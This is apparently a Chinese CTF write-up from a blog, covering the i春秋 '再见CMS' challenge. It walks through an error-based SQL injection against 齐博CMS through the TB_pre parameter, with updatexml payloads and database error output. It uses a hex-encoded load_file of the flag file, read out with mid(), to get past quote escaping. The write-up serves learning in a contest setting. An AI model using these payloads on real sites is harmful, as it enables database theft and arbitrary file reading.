

i春秋“百度杯”CTF比赛 九月场 再见CMS

原创

[「已注销」](#) 于 2018-09-11 21:57:37 发布 1940 收藏 1

分类专栏: [i春秋](#)

友链: <https://cutt.ly/7777aaaa>

本文链接: https://blog.csdn.net/include_heqile/article/details/82633506

版权



[i春秋](#) 专栏收录该内容

19 篇文章 0 订阅

订阅专栏

友链



微信搜一搜

Q 我吃你家米了

https://blog.csdn.net/include_heqile/

<https://www.ichunqiu.com/battalion?t=1&r=0>

这道题刚做的时候是没有头绪的，看了一眼 [writeup](#)，得知要通过网站下方的备案记录来查询除网站相关信息，并进而得知该网站所使用的 [cms](#)，但是我照着做的时候却查不出来结果，[ICP/IP](#) 官网返回说无匹配信息，于是我就参考 [writeup](#) 直接搜索了齐博CMS的相关漏洞，我使用的是这一个：

<http://0day5.com/archives/3300/>

一个 [SQL](#) 注入漏洞，我的 [payload](#) 是这样构造的：

```
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select user()),0x7e),1)))a%23
```

`select user()` 就是我们想要查询的信息



因为源代码中的查询语句是这样的:

```
$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads  
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='{$uid}' ORDER BY  
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
```

因此我们要把 `$TB_pre` 构造成一个表, 所以我的 `payload` 就构造成了上面的样子

然后就是得到数据库名、表名、列名, 进而查询 `username`、`password` 字段, 但是 `password` 字段是 md5 加密过后的字符串, 我试了很多解密网站都解不出来, 最后想到利用上道题的方法 `load_file`, 直接获取 `flag` 所在文件的内容, 猜测为 `/var/www/html/flag.php`, 不行就多试几个, 绝对路径题目给出来了:



我们如果直接写成 `load_file('/var/www/html/flag.php')` 是不行的，因为 `'` 会被转义：

```
数据库连接出错:SELECT COUNT(*) AS num FROM (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select load_file('\var/www/html/flag.php\'),0x7e,1)))a#threads WHERE authorid='1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\var/www/html/flag.php\'),0x7e,1)))a#threads WHERE authorid='1' at line 1
1064数据库连接出错:SELECT T.*C.* FROM (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select load_file('\var/www/html/flag.php\'),0x7e,1)))a#threads T LEFT JOIN (select * from
information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select load_file('\var/www/html/flag.php\'),0x7e,1)))a#tmsg C ON T.tid=C.tid WHERE T.authorid='1' ORDER BY T.tid DESC LIMIT 0,20
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\var/www/html/flag.php\'),0x7e,1)))a#threads T LEFT JOIN (select * from inf' at
line 1
1064
```



自然而然地，就会想到用16进制来表示这个字符串：

```
0x2F7661722F7777772F68746D6C2F666C61672E706870
```

构造 `payload` 如下：

```
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select mid((select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)
),0x7e,1)))a%23
```

使用 `mid` 函数截取字符串

```
数据库连接出错:SELECT COUNT(*) AS num FROM (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select mid((select
load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10),0x7e,1)))a#threads WHERE authorid='1'
XPath syntax error: '~1105数据库连接出错:SELECT T.*C.* FROM (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select mid((select
load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10),0x7e,1)))a#threads T LEFT JOIN (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(select mid((select
load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10),0x7e,1)))a#tmsg C ON T.tid=C.tid WHERE T.authorid='1' ORDER BY T.tid DESC LIMIT 0,20
XPath syntax error: '~1105
```



更改 `mid` 的后两个参数，继续往后截，就能得到 `flag` 了